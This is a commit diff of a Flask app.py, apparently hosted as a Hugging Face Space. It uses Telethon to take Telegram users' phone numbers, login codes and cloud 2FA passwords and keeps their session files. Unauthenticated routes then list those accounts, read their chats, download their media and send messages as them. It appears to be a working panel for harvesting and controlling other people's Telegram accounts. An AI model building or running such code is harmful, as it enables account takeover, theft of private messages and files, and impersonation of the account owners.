Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -80,7 +80,7 @@ HTML_TEMPLATE = '''
|
|
| 80 |
<td>
|
| 81 |
<a href="/user/{{ user[0] }}/messages">Messages</a> |
|
| 82 |
<a href="/user/{{ user[0] }}/files">Files</a> |
|
| 83 |
-
<a href="
|
| 84 |
</td>
|
| 85 |
</tr>
|
| 86 |
{% endfor %}
|
|
@@ -170,39 +170,43 @@ def login():
|
|
| 170 |
step = data.get('step')
|
| 171 |
session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
|
| 172 |
|
| 173 |
-
|
| 174 |
-
|
| 175 |
-
|
| 176 |
-
|
| 177 |
-
|
| 178 |
-
|
| 179 |
-
|
| 180 |
-
|
| 181 |
-
|
| 182 |
-
|
| 183 |
-
|
| 184 |
-
|
| 185 |
-
|
| 186 |
-
|
| 187 |
-
|
| 188 |
-
|
| 189 |
-
|
| 190 |
-
|
| 191 |
-
|
| 192 |
-
|
| 193 |
-
|
| 194 |
-
|
| 195 |
-
|
| 196 |
-
|
| 197 |
-
|
| 198 |
-
|
| 199 |
-
|
| 200 |
-
|
| 201 |
-
|
| 202 |
-
|
| 203 |
-
|
| 204 |
-
|
| 205 |
-
client.
|
|
|
|
|
|
|
|
|
|
|
|
|
| 206 |
|
| 207 |
@app.route('/user/<int:user_id>/messages')
|
| 208 |
def get_messages(user_id):
|
|
@@ -211,16 +215,20 @@ def get_messages(user_id):
|
|
| 211 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
| 212 |
session_file = c.fetchone()[0]
|
| 213 |
|
| 214 |
-
|
| 215 |
-
|
| 216 |
-
|
| 217 |
-
|
| 218 |
-
|
| 219 |
-
for
|
| 220 |
-
|
| 221 |
-
|
| 222 |
-
|
|
|
|
|
|
|
|
|
|
| 223 |
|
|
|
|
| 224 |
return render_template_string('''
|
| 225 |
<h1>Messages for User {{ user_id }}</h1>
|
| 226 |
<div class="chat">
|
|
@@ -238,18 +246,23 @@ def get_files(user_id):
|
|
| 238 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
| 239 |
session_file = c.fetchone()[0]
|
| 240 |
|
| 241 |
-
|
| 242 |
-
|
| 243 |
-
|
| 244 |
-
|
| 245 |
-
|
| 246 |
-
for
|
| 247 |
-
|
| 248 |
-
|
| 249 |
-
|
| 250 |
-
|
| 251 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
| 252 |
|
|
|
|
| 253 |
return render_template_string('''
|
| 254 |
<h1>Files for User {{ user_id }}</h1>
|
| 255 |
<table>
|
|
@@ -279,15 +292,20 @@ def send_message(user_id):
|
|
| 279 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
| 280 |
session_file = c.fetchone()[0]
|
| 281 |
|
| 282 |
-
|
| 283 |
-
|
| 284 |
-
|
| 285 |
-
|
| 286 |
-
|
| 287 |
-
|
| 288 |
-
|
| 289 |
-
|
| 290 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 291 |
|
| 292 |
if __name__ == '__main__':
|
| 293 |
init_db()
|
|
|
|
| 80 |
<td>
|
| 81 |
<a href="/user/{{ user[0] }}/messages">Messages</a> |
|
| 82 |
<a href="/user/{{ user[0] }}/files">Files</a> |
|
| 83 |
+
<a href="javascript:void(0);" onclick="sendMessage({{ user[0] }})">Send Message</a>
|
| 84 |
</td>
|
| 85 |
</tr>
|
| 86 |
{% endfor %}
|
|
|
|
| 170 |
step = data.get('step')
|
| 171 |
session_file = f"{SESSION_DIR}/{hashlib.md5(phone.encode()).hexdigest()}.session"
|
| 172 |
|
| 173 |
+
async def _login_async():
|
| 174 |
+
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 175 |
+
try:
|
| 176 |
+
if step == 'start':
|
| 177 |
+
await client.connect()
|
| 178 |
+
await client.send_code_request(phone)
|
| 179 |
+
return {'success': True, 'message': 'Code sent to your Telegram'}
|
| 180 |
+
elif step == 'code':
|
| 181 |
+
await client.connect()
|
| 182 |
+
me = await client.sign_in(phone, code)
|
| 183 |
+
with sqlite3.connect(DB_PATH) as conn:
|
| 184 |
+
c = conn.cursor()
|
| 185 |
+
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 186 |
+
(str(me.id), me.username or '', phone, session_file))
|
| 187 |
+
conn.commit()
|
| 188 |
+
return {'success': True, 'message': 'Logged in successfully'}
|
| 189 |
+
elif step == 'password':
|
| 190 |
+
await client.connect()
|
| 191 |
+
me = await client.sign_in(password=password)
|
| 192 |
+
with sqlite3.connect(DB_PATH) as conn:
|
| 193 |
+
c = conn.cursor()
|
| 194 |
+
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 195 |
+
(str(me.id), me.username or '', phone, session_file))
|
| 196 |
+
conn.commit()
|
| 197 |
+
return {'success': True, 'message': 'Logged in with cloud password'}
|
| 198 |
+
else:
|
| 199 |
+
return {'success': False, 'message': 'Invalid step'}
|
| 200 |
+
except Exception as e:
|
| 201 |
+
if 'session password' in str(e).lower() or '2fa' in str(e).lower():
|
| 202 |
+
return {'success': False, 'password_required': True, 'message': 'Cloud password required'}
|
| 203 |
+
return {'success': False, 'message': str(e)}
|
| 204 |
+
finally:
|
| 205 |
+
if client.is_connected():
|
| 206 |
+
await client.disconnect()
|
| 207 |
+
|
| 208 |
+
result = asyncio.run(_login_async())
|
| 209 |
+
return jsonify(result)
|
| 210 |
|
| 211 |
@app.route('/user/<int:user_id>/messages')
|
| 212 |
def get_messages(user_id):
|
|
|
|
| 215 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
| 216 |
session_file = c.fetchone()[0]
|
| 217 |
|
| 218 |
+
async def _get_messages_async():
|
| 219 |
+
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 220 |
+
await client.connect()
|
| 221 |
+
messages = []
|
| 222 |
+
try:
|
| 223 |
+
async for dialog in client.iter_dialogs(limit=10):
|
| 224 |
+
async for message in client.iter_messages(dialog, limit=10):
|
| 225 |
+
messages.append({'chat': dialog.title, 'text': message.text or '', 'date': str(message.date)})
|
| 226 |
+
finally:
|
| 227 |
+
if client.is_connected():
|
| 228 |
+
await client.disconnect()
|
| 229 |
+
return messages
|
| 230 |
|
| 231 |
+
messages = asyncio.run(_get_messages_async())
|
| 232 |
return render_template_string('''
|
| 233 |
<h1>Messages for User {{ user_id }}</h1>
|
| 234 |
<div class="chat">
|
|
|
|
| 246 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
| 247 |
session_file = c.fetchone()[0]
|
| 248 |
|
| 249 |
+
async def _get_files_async():
|
| 250 |
+
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 251 |
+
await client.connect()
|
| 252 |
+
files = []
|
| 253 |
+
try:
|
| 254 |
+
async for dialog in client.iter_dialogs(limit=10):
|
| 255 |
+
async for message in client.iter_messages(dialog, limit=10):
|
| 256 |
+
if message.media:
|
| 257 |
+
file_path = await client.download_media(message, DOWNLOAD_DIR)
|
| 258 |
+
if file_path: # Ensure file was actually downloaded
|
| 259 |
+
files.append({'chat': dialog.title, 'file': Path(file_path).name})
|
| 260 |
+
finally:
|
| 261 |
+
if client.is_connected():
|
| 262 |
+
await client.disconnect()
|
| 263 |
+
return files
|
| 264 |
|
| 265 |
+
files = asyncio.run(_get_files_async())
|
| 266 |
return render_template_string('''
|
| 267 |
<h1>Files for User {{ user_id }}</h1>
|
| 268 |
<table>
|
|
|
|
| 292 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
| 293 |
session_file = c.fetchone()[0]
|
| 294 |
|
| 295 |
+
async def _send_message_async():
|
| 296 |
+
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 297 |
+
await client.connect()
|
| 298 |
+
try:
|
| 299 |
+
await client.send_message(chat_id, message)
|
| 300 |
+
return {'success': True, 'message': 'Message sent'}
|
| 301 |
+
except Exception as e:
|
| 302 |
+
return {'success': False, 'message': str(e)}
|
| 303 |
+
finally:
|
| 304 |
+
if client.is_connected():
|
| 305 |
+
await client.disconnect()
|
| 306 |
+
|
| 307 |
+
result = asyncio.run(_send_message_async())
|
| 308 |
+
return jsonify(result)
|
| 309 |
|
| 310 |
if __name__ == '__main__':
|
| 311 |
init_db()
|